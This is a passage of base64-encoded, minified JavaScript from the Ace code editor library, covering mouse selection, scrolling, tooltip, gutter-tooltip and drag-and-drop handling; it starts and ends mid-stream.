0KXJldHVybjt0aGlzLm1vdXNlZG93bkV2ZW50LmdldFNoaWZ0S2V5KCk/bi5zZWxlY3Rpb24uc2VsZWN0VG9Qb3NpdGlvbihlKTp0fHxuLnNlbGVjdGlvbi5tb3ZlVG9Qb3NpdGlvbihlKSx0fHx0aGlzLnNlbGVjdCgpLG4ucmVuZGVyZXIuc2Nyb2xsZXIuc2V0Q2FwdHVyZSYmbi5yZW5kZXJlci5zY3JvbGxlci5zZXRDYXB0dXJlKCksbi5zZXRTdHlsZSgiYWNlX3NlbGVjdGluZyIpLHRoaXMuc2V0U3RhdGUoInNlbGVjdCIpfSx0aGlzLnNlbGVjdD1mdW5jdGlvbigpe3ZhciBlLHQ9dGhpcy5lZGl0b3Isbj10LnJlbmRlcmVyLnNjcmVlblRvVGV4dENvb3JkaW5hdGVzKHRoaXMueCx0aGlzLnkpO2lmKHRoaXMuJGNsaWNrU2VsZWN0aW9uKXt2YXIgcj10aGlzLiRjbGlja1NlbGVjdGlvbi5jb21wYXJlUG9pbnQobik7aWYocj09LTEpZT10aGlzLiRjbGlja1NlbGVjdGlvbi5lbmQ7ZWxzZSBpZihyPT0xKWU9dGhpcy4kY2xpY2tTZWxlY3Rpb24uc3RhcnQ7ZWxzZXt2YXIgaT1hKHRoaXMuJGNsaWNrU2VsZWN0aW9uLG4pO249aS5jdXJzb3IsZT1pLmFuY2hvcn10LnNlbGVjdGlvbi5zZXRTZWxlY3Rpb25BbmNob3IoZS5yb3csZS5jb2x1bW4pfXQuc2VsZWN0aW9uLnNlbGVjdFRvUG9zaXRpb24obiksdC5yZW5kZXJlci5zY3JvbGxDdXJzb3JJbnRvVmlldygpfSx0aGlzLmV4dGVuZFNlbGVjdGlvbkJ5PWZ1bmN0aW9uKGUpe3ZhciB0LG49dGhpcy5lZGl0b3Iscj1uLnJlbmRlcmVyLnNjcmVlblRvVGV4dENvb3JkaW5hdGVzKHRoaXMueCx0aGlzLnkpLGk9bi5zZWxlY3Rpb25bZV0oci5yb3csci5jb2x1bW4pO2lmKHRoaXMuJGNsaWNrU2VsZWN0aW9uKXt2YXIgcz10aGlzLiRjbGlja1NlbGVjdGlvbi5jb21wYXJlUG9pbnQoaS5zdGFydCksbz10aGlzLiRjbGlja1NlbGVjdGlvbi5jb21wYXJlUG9pbnQoaS5lbmQpO2lmKHM9PS0xJiZvPD0wKXt0PXRoaXMuJGNsaWNrU2VsZWN0aW9uLmVuZDtpZihpLmVuZC5yb3chPXIucm93fHxpLmVuZC5jb2x1bW4hPXIuY29sdW1uKXI9aS5zdGFydH1lbHNlIGlmKG89PTEmJnM+PTApe3Q9dGhpcy4kY2xpY2tTZWxlY3Rpb24uc3RhcnQ7aWYoaS5zdGFydC5yb3chPXIucm93fHxpLnN0YXJ0LmNvbHVtbiE9ci5jb2x1bW4pcj1pLmVuZH1lbHNlIGlmKHM9PS0xJiZvPT0xKXI9aS5lbmQsdD1pLnN0YXJ0O2Vsc2V7dmFyIHU9YSh0aGlzLiRjbGlja1NlbGVjdGlvbixyKTtyPXUuY3Vyc29yLHQ9dS5hbmNob3J9bi5zZWxlY3Rpb24uc2V0U2VsZWN0aW9uQW5jaG9yKHQucm93LHQuY29sdW1uKX1uLnNlbGVjdGlvbi5zZWxlY3RUb1Bvc2l0aW9uKHIpLG4ucmVuZGVyZXIuc2Nyb2xsQ3Vyc29ySW50b1ZpZXcoKX0sdGhpcy5zZWxlY3RFbmQ9dGhpcy5zZWxlY3RBbGxFbmQ9dGhpcy5zZWxlY3RCeVdvcmRzRW5kPXRoaXMuc2VsZWN0QnlMaW5lc0VuZD1mdW5jdGlvbigpe3RoaXMuJGNsaWNrU2VsZWN0aW9uPW51bGwsdGhpcy5lZGl0b3IudW5zZXRTdHlsZSgiYWNlX3NlbGVjdGluZyIpLHRoaXMuZWRpdG9yLnJlbmRlcmVyLnNjcm9sbGVyLnJlbGVhc2VDYXB0dXJlJiZ0aGlzLmVkaXRvci5yZW5kZXJlci5zY3JvbGxlci5yZWxlYXNlQ2FwdHVyZSgpfSx0aGlzLmZvY3VzV2FpdD1mdW5jdGlvbigpe3ZhciBlPXUodGhpcy5tb3VzZWRvd25FdmVudC54LHRoaXMubW91c2Vkb3duRXZlbnQueSx0aGlzLngsdGhpcy55KSx0PURhdGUubm93KCk7KGU+aXx8dC10aGlzLm1vdXNlZG93bkV2ZW50LnRpbWU+dGhpcy4kZm9jdXNUaW1lb3V0KSYmdGhpcy5zdGFydFNlbGVjdCh0aGlzLm1vdXNlZG93bkV2ZW50LmdldERvY3VtZW50UG9zaXRpb24oKSl9LHRoaXMub25Eb3VibGVDbGljaz1mdW5jdGlvbihlKXt2YXIgdD1lLmdldERvY3VtZW50UG9zaXRpb24oKSxuPXRoaXMuZWRpdG9yLHI9bi5zZXNzaW9uLGk9ci5nZXRCcmFja2V0UmFuZ2UodCk7aT8oaS5pc0VtcHR5KCkmJihpLnN0YXJ0LmNvbHVtbi0tLGkuZW5kLmNvbHVtbisrKSx0aGlzLnNldFN0YXRlKCJzZWxlY3QiKSk6KGk9bi5zZWxlY3Rpb24uZ2V0V29yZFJhbmdlKHQucm93LHQuY29sdW1uKSx0aGlzLnNldFN0YXRlKCJzZWxlY3RCeVdvcmRzIikpLHRoaXMuJGNsaWNrU2VsZWN0aW9uPWksdGhpcy5zZWxlY3QoKX0sdGhpcy5vblRyaXBsZUNsaWNrPWZ1bmN0aW9uKGUpe3ZhciB0PWUuZ2V0RG9jdW1lbnRQb3NpdGlvbigpLG49dGhpcy5lZGl0b3I7dGhpcy5zZXRTdGF0ZSgic2VsZWN0QnlMaW5lcyIpO3ZhciByPW4uZ2V0U2VsZWN0aW9uUmFuZ2UoKTtyLmlzTXVsdGlMaW5lKCkmJnIuY29udGFpbnModC5yb3csdC5jb2x1bW4pPyh0aGlzLiRjbGlja1NlbGVjdGlvbj1uLnNlbGVjdGlvbi5nZXRMaW5lUmFuZ2Uoci5zdGFydC5yb3cpLHRoaXMuJGNsaWNrU2VsZWN0aW9uLmVuZD1uLnNlbGVjdGlvbi5nZXRMaW5lUmFuZ2Uoci5lbmQucm93KS5lbmQpOnRoaXMuJGNsaWNrU2VsZWN0aW9uPW4uc2VsZWN0aW9uLmdldExpbmVSYW5nZSh0LnJvdyksdGhpcy5zZWxlY3QoKX0sdGhpcy5vblF1YWRDbGljaz1mdW5jdGlvbihlKXt2YXIgdD10aGlzLmVkaXRvcjt0LnNlbGVjdEFsbCgpLHRoaXMuJGNsaWNrU2VsZWN0aW9uPXQuZ2V0U2VsZWN0aW9uUmFuZ2UoKSx0aGlzLnNldFN0YXRlKCJzZWxlY3RBbGwiKX0sdGhpcy5vbk1vdXNlV2hlZWw9ZnVuY3Rpb24oZSl7aWYoZS5nZXRBY2NlbEtleSgpKXJldHVybjtlLmdldFNoaWZ0S2V5KCkmJmUud2hlZWxZJiYhZS53aGVlbFgmJihlLndoZWVsWD1lLndoZWVsWSxlLndoZWVsWT0wKTt2YXIgdD10aGlzLmVkaXRvcjt0aGlzLiRsYXN0U2Nyb2xsfHwodGhpcy4kbGFzdFNjcm9sbD17dDowLHZ4OjAsdnk6MCxhbGxvd2VkOjB9KTt2YXIgbj10aGlzLiRsYXN0U2Nyb2xsLHI9ZS5kb21FdmVudC50aW1lU3RhbXAsaT1yLW4udCxvPWk/ZS53aGVlbFgvaTpuLnZ4LHU9aT9lLndoZWVsWS9pOm4udnk7aTxzJiYobz0obytuLnZ4KS8yLHU9KHUrbi52eSkvMik7dmFyIGE9TWF0aC5hYnMoby91KSxmPSExO2E+PTEmJnQucmVuZGVyZXIuaXNTY3JvbGxhYmxlQnkoZS53aGVlbFgqZS5zcGVlZCwwKSYmKGY9ITApLGE8PTEmJnQucmVuZGVyZXIuaXNTY3JvbGxhYmxlQnkoMCxlLndoZWVsWSplLnNwZWVkKSYmKGY9ITApO2lmKGYpbi5hbGxvd2VkPXI7ZWxzZSBpZihyLW4uYWxsb3dlZDxzKXt2YXIgbD1NYXRoLmFicyhvKTw9MS41Kk1hdGguYWJzKG4udngpJiZNYXRoLmFicyh1KTw9MS41Kk1hdGguYWJzKG4udnkpO2w/KGY9ITAsbi5hbGxvd2VkPXIpOm4uYWxsb3dlZD0wfW4udD1yLG4udng9byxuLnZ5PXU7aWYoZilyZXR1cm4gdC5yZW5kZXJlci5zY3JvbGxCeShlLndoZWVsWCplLnNwZWVkLGUud2hlZWxZKmUuc3BlZWQpLGUuc3RvcCgpfX0pLmNhbGwoby5wcm90b3R5cGUpLHQuRGVmYXVsdEhhbmRsZXJzPW99KSxkZWZpbmUoImFjZS90b29sdGlwIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL2xpYi9vb3AiLCJhY2UvbGliL2RvbSJdLGZ1bmN0aW9uKGUsdCxuKXsidXNlIHN0cmljdCI7ZnVuY3Rpb24gbyhlKXt0aGlzLmlzT3Blbj0hMSx0aGlzLiRlbGVtZW50PW51bGwsdGhpcy4kcGFyZW50Tm9kZT1lfXZhciByPWUoIi4vbGliL29vcCIpLGk9ZSgiLi9saWIvZG9tIikscz0iYWNlX3Rvb2x0aXAiOyhmdW5jdGlvbigpe3RoaXMuJGluaXQ9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kZWxlbWVudD1pLmNyZWF0ZUVsZW1lbnQoImRpdiIpLHRoaXMuJGVsZW1lbnQuY2xhc3NOYW1lPXMsdGhpcy4kZWxlbWVudC5zdHlsZS5kaXNwbGF5PSJub25lIix0aGlzLiRwYXJlbnROb2RlLmFwcGVuZENoaWxkKHRoaXMuJGVsZW1lbnQpLHRoaXMuJGVsZW1lbnR9LHRoaXMuZ2V0RWxlbWVudD1mdW5jdGlvbigpe3JldHVybiB0aGlzLiRlbGVtZW50fHx0aGlzLiRpbml0KCl9LHRoaXMuc2V0VGV4dD1mdW5jdGlvbihlKXt0aGlzLmdldEVsZW1lbnQoKS50ZXh0Q29udGVudD1lfSx0aGlzLnNldEh0bWw9ZnVuY3Rpb24oZSl7dGhpcy5nZXRFbGVtZW50KCkuaW5uZXJIVE1MPWV9LHRoaXMuc2V0UG9zaXRpb249ZnVuY3Rpb24oZSx0KXt0aGlzLmdldEVsZW1lbnQoKS5zdHlsZS5sZWZ0PWUrInB4Iix0aGlzLmdldEVsZW1lbnQoKS5zdHlsZS50b3A9dCsicHgifSx0aGlzLnNldENsYXNzTmFtZT1mdW5jdGlvbihlKXtpLmFkZENzc0NsYXNzKHRoaXMuZ2V0RWxlbWVudCgpLGUpfSx0aGlzLnNob3c9ZnVuY3Rpb24oZSx0LG4pe2UhPW51bGwmJnRoaXMuc2V0VGV4dChlKSx0IT1udWxsJiZuIT1udWxsJiZ0aGlzLnNldFBvc2l0aW9uKHQsbiksdGhpcy5pc09wZW58fCh0aGlzLmdldEVsZW1lbnQoKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsdGhpcy5pc09wZW49ITApfSx0aGlzLmhpZGU9ZnVuY3Rpb24oKXt0aGlzLmlzT3BlbiYmKHRoaXMuZ2V0RWxlbWVudCgpLnN0eWxlLmRpc3BsYXk9Im5vbmUiLHRoaXMuZ2V0RWxlbWVudCgpLmNsYXNzTmFtZT1zLHRoaXMuaXNPcGVuPSExKX0sdGhpcy5nZXRIZWlnaHQ9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5nZXRFbGVtZW50KCkub2Zmc2V0SGVpZ2h0fSx0aGlzLmdldFdpZHRoPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZ2V0RWxlbWVudCgpLm9mZnNldFdpZHRofSx0aGlzLmRlc3Ryb3k9ZnVuY3Rpb24oKXt0aGlzLmlzT3Blbj0hMSx0aGlzLiRlbGVtZW50JiZ0aGlzLiRlbGVtZW50LnBhcmVudE5vZGUmJnRoaXMuJGVsZW1lbnQucGFyZW50Tm9kZS5yZW1vdmVDaGlsZCh0aGlzLiRlbGVtZW50KX19KS5jYWxsKG8ucHJvdG90eXBlKSx0LlRvb2x0aXA9b30pLGRlZmluZSgiYWNlL21vdXNlL2RlZmF1bHRfZ3V0dGVyX2hhbmRsZXIiLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvbGliL2RvbSIsImFjZS9saWIvb29wIiwiYWNlL2xpYi9ldmVudCIsImFjZS90b29sdGlwIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0IjtmdW5jdGlvbiB1KGUpe2Z1bmN0aW9uIGwoKXt2YXIgcj11LmdldERvY3VtZW50UG9zaXRpb24oKS5yb3cscz1uLiRhbm5vdGF0aW9uc1tyXTtpZighcylyZXR1cm4gYygpO3ZhciBvPXQuc2Vzc2lvbi5nZXRMZW5ndGgoKTtpZihyPT1vKXt2YXIgYT10LnJlbmRlcmVyLnBpeGVsVG9TY3JlZW5Db29yZGluYXRlcygwLHUueSkucm93LGw9dS4kcG9zO2lmKGE+dC5zZXNzaW9uLmRvY3VtZW50VG9TY3JlZW5Sb3cobC5yb3csbC5jb2x1bW4pKXJldHVybiBjKCl9aWYoZj09cylyZXR1cm47Zj1zLnRleHQuam9pbigiPGJyLz4iKSxpLnNldEh0bWwoZik7dmFyIHA9cy5jbGFzc05hbWU7cCYmaS5zZXRDbGFzc05hbWUocC50cmltKCkpLGkuc2hvdygpLHQuX3NpZ25hbCgic2hvd0d1dHRlclRvb2x0aXAiLGkpLHQub24oIm1vdXNld2hlZWwiLGMpO2lmKGUuJHRvb2x0aXBGb2xsb3dzTW91c2UpaCh1KTtlbHNle3ZhciBkPXUuZG9tRXZlbnQudGFyZ2V0LHY9ZC5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKSxtPWkuZ2V0RWxlbWVudCgpLnN0eWxlO20ubGVmdD12LnJpZ2h0KyJweCIsbS50b3A9di5ib3R0b20rInB4In19ZnVuY3Rpb24gYygpe28mJihvPWNsZWFyVGltZW91dChvKSksZiYmKGkuaGlkZSgpLGY9bnVsbCx0Ll9zaWduYWwoImhpZGVHdXR0ZXJUb29sdGlwIixpKSx0Lm9mZigibW91c2V3aGVlbCIsYykpfWZ1bmN0aW9uIGgoZSl7aS5zZXRQb3NpdGlvbihlLngsZS55KX12YXIgdD1lLmVkaXRvcixuPXQucmVuZGVyZXIuJGd1dHRlckxheWVyLGk9bmV3IGEodC5jb250YWluZXIpO2UuZWRpdG9yLnNldERlZmF1bHRIYW5kbGVyKCJndXR0ZXJtb3VzZWRvd24iLGZ1bmN0aW9uKHIpe2lmKCF0LmlzRm9jdXNlZCgpfHxyLmdldEJ1dHRvbigpIT0wKXJldHVybjt2YXIgaT1uLmdldFJlZ2lvbihyKTtpZihpPT0iZm9sZFdpZGdldHMiKXJldHVybjt2YXIgcz1yLmdldERvY3VtZW50UG9zaXRpb24oKS5yb3csbz10LnNlc3Npb24uc2VsZWN0aW9uO2lmKHIuZ2V0U2hpZnRLZXkoKSlvLnNlbGVjdFRvKHMsMCk7ZWxzZXtpZihyLmRvbUV2ZW50LmRldGFpbD09MilyZXR1cm4gdC5zZWxlY3RBbGwoKSxyLnByZXZlbnREZWZhdWx0KCk7ZS4kY2xpY2tTZWxlY3Rpb249dC5zZWxlY3Rpb24uZ2V0TGluZVJhbmdlKHMpfXJldHVybiBlLnNldFN0YXRlKCJzZWxlY3RCeUxpbmVzIiksZS5jYXB0dXJlTW91c2Uociksci5wcmV2ZW50RGVmYXVsdCgpfSk7dmFyIG8sdSxmO2UuZWRpdG9yLnNldERlZmF1bHRIYW5kbGVyKCJndXR0ZXJtb3VzZW1vdmUiLGZ1bmN0aW9uKHQpe3ZhciBuPXQuZG9tRXZlbnQudGFyZ2V0fHx0LmRvbUV2ZW50LnNyY0VsZW1lbnQ7aWYoci5oYXNDc3NDbGFzcyhuLCJhY2VfZm9sZC13aWRnZXQiKSlyZXR1cm4gYygpO2YmJmUuJHRvb2x0aXBGb2xsb3dzTW91c2UmJmgodCksdT10O2lmKG8pcmV0dXJuO289c2V0VGltZW91dChmdW5jdGlvbigpe289bnVsbCx1JiYhZS5pc01vdXNlUHJlc3NlZD9sKCk6YygpfSw1MCl9KSxzLmFkZExpc3RlbmVyKHQucmVuZGVyZXIuJGd1dHRlciwibW91c2VvdXQiLGZ1bmN0aW9uKGUpe3U9bnVsbDtpZighZnx8bylyZXR1cm47bz1zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7bz1udWxsLGMoKX0sNTApfSx0KSx0Lm9uKCJjaGFuZ2VTZXNzaW9uIixjKX1mdW5jdGlvbiBhKGUpe28uY2FsbCh0aGlzLGUpfXZhciByPWUoIi4uL2xpYi9kb20iKSxpPWUoIi4uL2xpYi9vb3AiKSxzPWUoIi4uL2xpYi9ldmVudCIpLG89ZSgiLi4vdG9vbHRpcCIpLlRvb2x0aXA7aS5pbmhlcml0cyhhLG8pLGZ1bmN0aW9uKCl7dGhpcy5zZXRQb3NpdGlvbj1mdW5jdGlvbihlLHQpe3ZhciBuPXdpbmRvdy5pbm5lcldpZHRofHxkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuY2xpZW50V2lkdGgscj13aW5kb3cuaW5uZXJIZWlnaHR8fGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRIZWlnaHQsaT10aGlzLmdldFdpZHRoKCkscz10aGlzLmdldEhlaWdodCgpO2UrPTE1LHQrPTE1LGUraT5uJiYoZS09ZStpLW4pLHQrcz5yJiYodC09MjArcyksby5wcm90b3R5cGUuc2V0UG9zaXRpb24uY2FsbCh0aGlzLGUsdCl9fS5jYWxsKGEucHJvdG90eXBlKSx0Lkd1dHRlckhhbmRsZXI9dX0pLGRlZmluZSgiYWNlL21vdXNlL21vdXNlX2V2ZW50IixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL2xpYi9ldmVudCIsImFjZS9saWIvdXNlcmFnZW50Il0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcj1lKCIuLi9saWIvZXZlbnQiKSxpPWUoIi4uL2xpYi91c2VyYWdlbnQiKSxzPXQuTW91c2VFdmVudD1mdW5jdGlvbihlLHQpe3RoaXMuZG9tRXZlbnQ9ZSx0aGlzLmVkaXRvcj10LHRoaXMueD10aGlzLmNsaWVudFg9ZS5jbGllbnRYLHRoaXMueT10aGlzLmNsaWVudFk9ZS5jbGllbnRZLHRoaXMuJHBvcz1udWxsLHRoaXMuJGluU2VsZWN0aW9uPW51bGwsdGhpcy5wcm9wYWdhdGlvblN0b3BwZWQ9ITEsdGhpcy5kZWZhdWx0UHJldmVudGVkPSExfTsoZnVuY3Rpb24oKXt0aGlzLnN0b3BQcm9wYWdhdGlvbj1mdW5jdGlvbigpe3Iuc3RvcFByb3BhZ2F0aW9uKHRoaXMuZG9tRXZlbnQpLHRoaXMucHJvcGFnYXRpb25TdG9wcGVkPSEwfSx0aGlzLnByZXZlbnREZWZhdWx0PWZ1bmN0aW9uKCl7ci5wcmV2ZW50RGVmYXVsdCh0aGlzLmRvbUV2ZW50KSx0aGlzLmRlZmF1bHRQcmV2ZW50ZWQ9ITB9LHRoaXMuc3RvcD1mdW5jdGlvbigpe3RoaXMuc3RvcFByb3BhZ2F0aW9uKCksdGhpcy5wcmV2ZW50RGVmYXVsdCgpfSx0aGlzLmdldERvY3VtZW50UG9zaXRpb249ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kcG9zP3RoaXMuJHBvczoodGhpcy4kcG9zPXRoaXMuZWRpdG9yLnJlbmRlcmVyLnNjcmVlblRvVGV4dENvb3JkaW5hdGVzKHRoaXMuY2xpZW50WCx0aGlzLmNsaWVudFkpLHRoaXMuJHBvcyl9LHRoaXMuaW5TZWxlY3Rpb249ZnVuY3Rpb24oKXtpZih0aGlzLiRpblNlbGVjdGlvbiE9PW51bGwpcmV0dXJuIHRoaXMuJGluU2VsZWN0aW9uO3ZhciBlPXRoaXMuZWRpdG9yLHQ9ZS5nZXRTZWxlY3Rpb25SYW5nZSgpO2lmKHQuaXNFbXB0eSgpKXRoaXMuJGluU2VsZWN0aW9uPSExO2Vsc2V7dmFyIG49dGhpcy5nZXREb2N1bWVudFBvc2l0aW9uKCk7dGhpcy4kaW5TZWxlY3Rpb249dC5jb250YWlucyhuLnJvdyxuLmNvbHVtbil9cmV0dXJuIHRoaXMuJGluU2VsZWN0aW9ufSx0aGlzLmdldEJ1dHRvbj1mdW5jdGlvbigpe3JldHVybiByLmdldEJ1dHRvbih0aGlzLmRvbUV2ZW50KX0sdGhpcy5nZXRTaGlmdEtleT1mdW5jdGlvbigpe3JldHVybiB0aGlzLmRvbUV2ZW50LnNoaWZ0S2V5fSx0aGlzLmdldEFjY2VsS2V5PWkuaXNNYWM/ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5kb21FdmVudC5tZXRhS2V5fTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmRvbUV2ZW50LmN0cmxLZXl9fSkuY2FsbChzLnByb3RvdHlwZSl9KSxkZWZpbmUoImFjZS9tb3VzZS9kcmFnZHJvcF9oYW5kbGVyIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL2xpYi9kb20iLCJhY2UvbGliL2V2ZW50IiwiYWNlL2xpYi91c2VyYWdlbnQiXSxmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO2Z1bmN0aW9uIGYoZSl7ZnVuY3Rpb24gVChlLG4pe3ZhciByPURhdGUubm93KCksaT0hbnx8ZS5yb3chPW4ucm93LHM9IW58fGUuY29sdW1uIT1uLmNvbHVtbjtpZighU3x8aXx8cyl0Lm1vdmVDdXJzb3JUb1Bvc2l0aW9uKGUpLFM9cix4PXt4OnAseTpkfTtlbHNle3ZhciBvPWwoeC54LHgueSxwLGQpO28+YT9TPW51bGw6ci1TPj11JiYodC5yZW5kZXJlci5zY3JvbGxDdXJzb3JJbnRvVmlldygpLFM9bnVsbCl9fWZ1bmN0aW9uIE4oZSxuKXt2YXIgcj1EYXRlLm5vdygpLGk9dC5yZW5kZXJlci5sYXllckNvbmZpZy5saW5lSGVpZ2h0LHM9dC5yZW5kZXJlci5sYXllckNvbmZpZy5jaGFyYWN0ZXJXaWR0aCx1PXQucmVuZGVyZXIuc2Nyb2xsZXIuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCksYT17eDp7bGVmdDpwLXUubGVmdCxyaWdodDp1LnJpZ2h0LXB9LHk6e3RvcDpkLXUudG9wLGJvdHRvbTp1LmJvdHRvbS1kfX0sZj1NYXRoLm1pbihhLngubGVmdCxhLngucmlnaHQpLGw9TWF0aC5taW4oYS55LnRvcCxhLnkuYm90dG9tKSxjPXtyb3c6ZS5yb3csY29sdW1uOmUuY29sdW1ufTtmL3M8PTImJihjLmNvbHVtbis9YS54LmxlZnQ8YS54LnJpZ2h0Py0zOjIpLGwvaTw9MSYmKGMucm93Kz1hLnkudG9wPGEueS5ib3R0b20/LTE6MSk7dmFyIGg9ZS5yb3chPWMucm93LHY9ZS5jb2x1bW4hPWMuY29sdW1uLG09IW58fGUucm93IT1uLnJvdztofHx2JiYhbT9FP3ItRT49byYmdC5yZW5kZXJlci5zY3JvbGxDdXJzb3JJbnRvVmlldyhjKTpFPXI6RT1udWxsfWZ1bmN0aW9uIEMoKXt2YXIgZT1nO2c9dC5yZW5kZXJlci5zY3JlZW5Ub1RleHRDb29yZGluYXRlcyhwLGQpLFQoZyxlKSxOKGcsZSl9ZnVuY3Rpb24gaygpe209dC5zZWxlY3Rpb24udG9PcmllbnRlZFJhbmdlKCksaD10LnNlc3Npb24uYWRkTWFya2VyKG0sImFjZV9zZWxlY3Rpb24iLHQuZ2V0U2VsZWN0aW9uU3R5bGUoKSksdC5jbGVhclNlbGVjdGlvbigpLHQuaXNGb2N1c2VkKCkmJnQucmVuZGVyZXIuJGN1cnNvckxheWVyLnNldEJsaW5raW5nKCExKSxjbGVhckludGVydmFsKHYpLEMoKSx2PXNldEludGVydmFsKEMsMjApLHk9MCxpLmFkZExpc3RlbmVyKGRvY3VtZW50LCJtb3VzZW1vdmUiLE8pfWZ1bmN0aW9uIEwoKXtjbGVhckludGVydmFsKHYpLHQuc2Vzc2lvbi5yZW1vdmVNYXJrZXIoaCksaD1udWxsLHQuc2VsZWN0aW9uLmZyb21PcmllbnRlZFJhbmdlKG0pLHQuaXNGb2N1c2VkKCkmJiF3JiZ0LiRyZXNldEN1cnNvclN0eWxlKCksbT1udWxsLGc9bnVsbCx5PTAsRT1udWxsLFM9bnVsbCxpLnJlbW92ZUxpc3RlbmVyKGRvY3VtZW50LCJtb3VzZW1vdmUiLE8pfWZ1bmN0aW9uIE8oKXtBPT1udWxsJiYoQT1zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7QSE9bnVsbCYmaCYmTCgpfSwyMCkpfWZ1bmN0aW9uIE0oZSl7dmFyIHQ9ZS50eXBlcztyZXR1cm4hdHx8QXJyYXkucHJvdG90eXBlLnNvbWUuY2FsbCh0LGZ1bmN0aW9uKGUpe3JldHVybiBlPT0idGV4dC9wbGFpbiJ8fGU9PSJUZXh0In0pfWZ1bmN0aW9uIF8oZSl7dmFyIHQ9WyJjb3B5IiwiY29weW1vdmUiLCJhbGwiLCJ1bmluaXRpYWxpemVkIl0sbj1bIm1vdmUiLCJjb3B5bW92ZSIsImxpbmttb3ZlIiwiYWxsIiwidW5pbml0aWFsaXplZCJdLHI9cy5pc01hYz9lLmFsdEtleTplLmN0cmxLZXksaT0idW5pbml0aWFsaXplZCI7dHJ5e2k9ZS5kYXRhVHJhbnNmZXIuZWZmZWN0QWxsb3dlZC50b0xvd2VyQ2FzZSgpfWNhdGNoKGUpe312YXIgbz0ibm9uZSI7cmV0dXJuIHImJnQuaW5kZXhPZihpKT49MD9vPSJjb3B5IjpuLmluZGV4T2YoaSk+PTA/bz0ibW92ZSI6dC5pbmRleE9mKGkpPj0wJiYobz0iY29weSIpLG99dmFyIHQ9ZS5lZGl0b3Isbj1yLmNyZWF0ZUVsZW1lbnQoImRpdiIpO24uc3R5bGUuY3NzVGV4dD0idG9wOi0xMDBweDtwb3NpdGlvbjphYnNvbHV0ZTt6LWluZGV4OjIxNDc0ODM2NDc7b3BhY2l0eTowLjUiLG4udGV4dENvbnRlbnQ9Ilx1MDBhMCI7dmFyIGY9WyJkcmFnV2FpdCIsImRyYWdXYWl0RW5kIiwic3RhcnREcmFnIiwiZHJhZ1JlYWR5RW5kIiwib25Nb3VzZURyYWciXTtmLmZvckVhY2goZnVuY3Rpb24odCl7ZVt0XT10aGlzW3RdfSx0aGlzKSx0Lm9uKCJtb3VzZWRvd24iLHRoaXMub25Nb3VzZURvd24uYmluZChlKSk7dmFyIGM9dC5jb250YWluZXIsaCxwLGQsdixtLGcseT0wLGIsdyxFLFMseDt0aGlzLm9uRHJhZ1N0YXJ0PWZ1bmN0aW9uKGUpe2lmKHRoaXMuY2FuY2VsRHJhZ3x8IWMuZHJhZ2dhYmxlKXt2YXIgcj10aGlzO3JldHVybiBzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7ci5zdGFydFNlbGVjdCgpLHIuY2FwdHVyZU1vdXNlKGUpfSwwKSxlLnByZXZlbnREZWZhdWx0KCl9bT10LmdldFNlbGVjdGlvblJhbmdlKCk7dmFyIGk9ZS5kYXRhVHJhbnNmZXI7aS5lZmZlY3RBbGxvd2VkPXQuZ2V0UmVhZE9ubHkoKT8iY29weSI6ImNvcHlNb3ZlIix0LmNvbnRhaW5lci5hcHBlbmRDaGlsZChuKSxpLnNldERyYWdJbWFnZSYmaS5zZXREcmFnSW1hZ2UobiwwLDApLHNldFRpbWVvdXQoZnVuY3Rpb24oKXt0LmNvbnRhaW5lci5yZW1vdmVDaGlsZChuKX0pLGkuY2xlYXJEYXRhKCksaS5zZXREYXRhKCJUZXh0Iix0LnNlc3Npb24uZ2V0VGV4dFJhbmdlKCkpLHc9ITAsdGhpcy5zZXRTdGF0ZSgiZHJhZyIpfSx0aGlzLm9uRHJhZ0VuZD1mdW5jdGlvbihlKXtjLmRyYWdnYWJsZT0hMSx3PSExLHRoaXMuc2V0U3RhdGUobnVsbCk7aWYoIXQuZ2V0UmVhZE9ubHkoKSl7dmFyIG49ZS5kYXRhVHJhbnNmZXIuZHJvcEVmZmVjdDshYiYmbj09Im1vdmUiJiZ0LnNlc3Npb24ucmVtb3ZlKHQuZ2V0U2VsZWN0aW9uUmFuZ2UoKSksdC4kcmVzZXRDdXJzb3JTdHlsZSgpfXRoaXMuZWRpdG9yLnVuc2V0U3R5bGUoImFjZV9kcmFnZ2luZyIpLHRoaXMuZWRpdG9yLnJlbmRlcmVyLnNldEN1cnNvclN0eWxlKCIiKX0sdGhpcy5vbkRyYWdFbnRlcj1mdW5jdGlvbihlKXtpZih0LmdldFJlYWRPbmx5KCl8fCFNKGUuZGF0YVRyYW5zZmVyKSlyZXR1cm47cmV0dXJuIHA9ZS5jbGllbnRYLGQ9ZS5jbGllbnRZLGh8fGsoKSx5KyssZS5kYXRhVHJhbnNmZXIuZHJvcEVmZmVjdD1iPV8oZSksaS5wcmV2ZW50RGVmYXVsdChlKX0sdGhpcy5vbkRyYWdPdmVyPWZ1bmN0aW9uKGUpe2lmKHQuZ2V0UmVhZE9ubHkoKXx8IU0oZS5kYXRhVHJhbnNmZXIpKXJldHVybjtyZXR1cm4gcD1lLmNsaWVudFgsZD1lLmNsaWVudFksaHx8KGsoKSx5KyspLEEhPT1udWxsJiYoQT1udWxsKSxlLmRhdGFUcmFuc2Zlci5kcm9wRWZmZWN0PWI9XyhlKSxpLnByZXZlbnREZWZhdWx0KGUpfSx0aGlzLm9uRHJhZ0xlYXZlPWZ1bmN0aW9uK